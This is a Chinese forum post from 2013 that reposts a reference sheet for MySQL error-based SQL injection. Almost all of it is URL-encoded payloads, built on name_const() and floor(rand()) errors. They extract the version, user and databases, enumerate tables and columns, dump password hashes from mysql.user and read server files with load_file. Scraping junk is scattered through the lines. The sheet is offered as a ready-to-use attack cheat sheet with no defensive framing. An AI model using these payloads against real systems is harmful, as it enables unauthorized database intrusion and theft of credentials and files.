本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 7 i% z* L' k* D
& q$ l1 a$ V1 z& D
, I6 Y; a3 f. q0 lMysql暴错注入参考(pdf),每天一贴。。。 Q# L. a/ m4 i1 S7 O& e6 Q
/ T) J* w( B* `& f& Q3 QMySql Error Based Injection Reference g: k N8 E- p& b5 k
[Mysql暴错注入参考]) y+ n3 a4 z# t7 V+ v
Authornig0s1992' d- f" O2 M# T- Q
Blog:http://pnig0s1992.blog.51cto.com/5 ]6 J% o* ]0 q# k" D
TeAm:http://www.FreeBuf.com/
2 ~/ G- Q' [7 F+ i( uMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功" T4 ]. f% N1 e+ P5 Q0 |4 D$ l
小部分版本使用name_const()时会报错.可以用给出的Method.2测试- N" F: x; H2 B/ N- |" b
查询版本:1 ^) u0 j- p7 y3 v( `# G
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
/ t/ l- t3 b+ I+ g* ^2 L7 Ojoin+(select+name_const(@@version,0))b)c)/ W0 S6 _" n7 j% p/ \: ?
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
& {7 K6 F% K9 t6 \' e/ Nup by a)b)
! x, X3 b; Q. b* V查询当前用户:4 E9 p" o t7 N( d* v
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
7 l4 b4 g8 x, yMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r) C, i. W9 O' J7 Q1 z2 K. j M
and(0)*2))x+from+information_schema.tables+group+by+x)a)
' s2 C7 Y! z4 C9 O; h ?查询当前数据库:
, Z: X. }6 f& AMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c). \) j0 N; a' E. a% J6 e
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
, f( T" M# N' i2 b5 G: B5 n) ]2 jor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
4 x7 h/ B: V* ?6 I' P0 V7 E+ b依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ P: w* I% B& O# G1 R& dLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n- Y5 D" _. N( q( ^
顺序替换$ i& n: l! U, `/ T. s& j
爆指定库数目:0 W9 l) l6 P' q( @- v
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
x/ ?# w! _% uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
. o& f" N" W) }( e+by+x)a)+and+1=1 0x6D7973716C=mysql
J/ _3 O$ m5 G" k; b, V依次爆表:
! [+ q+ F' g6 g7 }and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t3 u0 H" ?0 a! H
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta% O, P& E1 }) o* |3 K3 t# A
bles+group+by+x)a)+and+1=1
# B5 u2 u5 X2 {- v) @9 e$ p0x6D7973716C=Mysql 将n顺序替换
! }& M( e- K9 L0 I/ W7 ^, f爆表内字段数目:$ D& S2 ] s; K, u ]" ~6 i/ y- F% F
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
6 t! s' a! x8 x. q; k3 ~+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran4 l* ?& u# g; L& z
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. z" o; K1 |" y/ M依次爆字段:
/ }9 G, \0 W1 w; V1 N, T; n- {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
9 ?1 H# v$ ~( b ^3 X/ r1 |+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 s2 n1 p! W$ K c$ d4 K( {: Oloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
! l( [% n" |3 Y依次暴内容:, r- F# s+ X9 f+ d5 M
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche; q- |% S0 ?6 N
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1- j: l. V: `* ^; k) e0 S' A
将n顺序替换+ B) z4 G/ R. U$ g
爆文件内容:
% q C+ \( u4 C6 @4 aand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
3 B8 A# R4 C* m0 C# F5 pfrom+information_schema.tables+group+by+a)b) + T# K) n; h, y! e( Y% f
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
6 c& z$ s" r& Y+ p( o6 HThx for reading./ \) T7 r! J& }/ r' p
) K. w' F7 Z- f不要下载也可以, & a7 x# z5 p2 D `. G( {' h9 i
|